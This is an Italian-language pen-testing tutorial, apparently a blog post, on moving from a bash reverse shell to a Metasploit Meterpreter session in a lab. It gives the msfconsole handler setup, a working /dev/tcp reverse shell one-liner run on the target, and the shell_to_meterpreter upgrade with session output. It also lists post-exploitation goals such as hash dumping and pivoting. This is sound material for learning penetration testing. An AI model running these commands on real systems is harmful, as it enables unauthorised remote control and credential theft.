Come migrare da una reverse shell a meterpeter

Durante un pen test potreste avere nella necessità di utilizzare un exploit che non fa parte del framework metasploit, di conseguenza dovreste rinunciare anche ad una shell meterpeter.
In questo articolo cercherò di spiegare come eseguire una classica reverse shell (netcat, bash, python ecc…) su metasploit per poi migrare su una sessione meterpeter.

Perchè meterpeter?

Utilizzare una shell meterpeter ha moltissimi vantaggi tra cui:

  1. Sfruttare i moduli di “post exploitation” per provare a scalare i privilegi.
  2. Eseguire un dump degli hash o password della macchina compromessa.
  3. Sfruttare la sessione meterpeter per movimenti laterali o pivoting.

Scenario

Immaginiamo la situazione in cui abbiamo già compromesso da remoto un server linux, ma vogliamo passare da una bash reverse shell a una sessione meterpeter.

  • Attacker (Kali Linux) – 10.21.12.41
  • Target    (CentOS 7) – 10.21.12.81

Exploiting

Passiamo alla fase più interessante, ovvero quella pratica.

Attacker

Nella macchina Kali dell’attaccante è necessario far partire metasploit:

root@kali:~# msfconsole

Dopo di che si andrà a caricare il modulo “exploit/multi/handler” che servirà a ricevere la connessione della reverse shell:

msf > use exploit/multi/handler
msf exploit(handler) >

A questo punto sarà necessario configurare l’ip locale dove mettere in ascolto l’handler, la porta locale della shell ed il payload:

msf exploit(handler) > set LHOST 10.21.12.41
LHOST => 10.21.12.41
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set payload linux/x64/shell/reverse_tcp
payload => linux/x64/shell/reverse_tcp
msf exploit(handler) >

Infine eseguire l’handler:

msf exploit(handler) > run

[*] Started reverse TCP handler on 10.21.12.41:4444 
[*] Starting the payload handler...
meterpeter
Target

Da un qualsiasi terminale è necessario collegarsi sul server target per eseguire una reverse shell verso la macchina Kali, nel mio caso l’ip è 10.21.12.41:

[root@node01 ~]# bash -i >& /dev/tcp/10.21.12.41/4444 0>&1

meterpeter

 Nota: Come ho scritto nella sezione precedente emuleremo manualmente la fase di exploiting e l’esecuzione di una bash reverse shell, lo scopo dell’articolo è quello di eseguire il payload meterpeter sul server target.

Attacker

Tornando sul terminale dell’attaccante vedremo la connessione stabilita con la reverse shell:

meterpeter

Premendo i tasti “Ctrl+Z“, e alla richiesta di conferma il tasto “y“, la sessione verrà eseguita in background:

[root@node01 ~]# ^Z
Background session 1? [y/N] y

meterpeter

Adesso non resta che passare alla shell meterpeter tramite il modulo:

post/multi/manage/shell_to_meterpreter

Basterà selezionare il modulo, settare la sessione appena eseguita in background, eseguire shell_to_meterpeter ed infine passare alla nuova sessione aperta dalla shell meterpeter:

msf exploit(handler) > use post/multi/manage/shell_to_meterpreter
msf post(shell_to_meterpreter) > set session 1
session => 1
msf post(shell_to_meterpreter) > run

[*] Upgrading session ID: 1

[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.21.12.41:4433 
[*] Starting the payload handler...
[*] Sending stage (797784 bytes) to 10.21.12.81
[*] Meterpreter session 2 opened (10.21.12.41:4433 -> 10.21.12.81:41854) at 2017-06-18 22:41:27 +0200

[*] Command stager progress: 100.00% (668/668 bytes)
[*] Post module execution completed 
msf post(shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer : node01.homelab.it
OS : CentOS 7.3.1611 (Linux 3.10.0-514.10.2.el7.x86_64)
Architecture : x64
Meterpreter : x86/linux
meterpreter >

meterpeter
Anche per oggi è tutto e mi raccomando: provate, provate e riprovate!

Riferimenti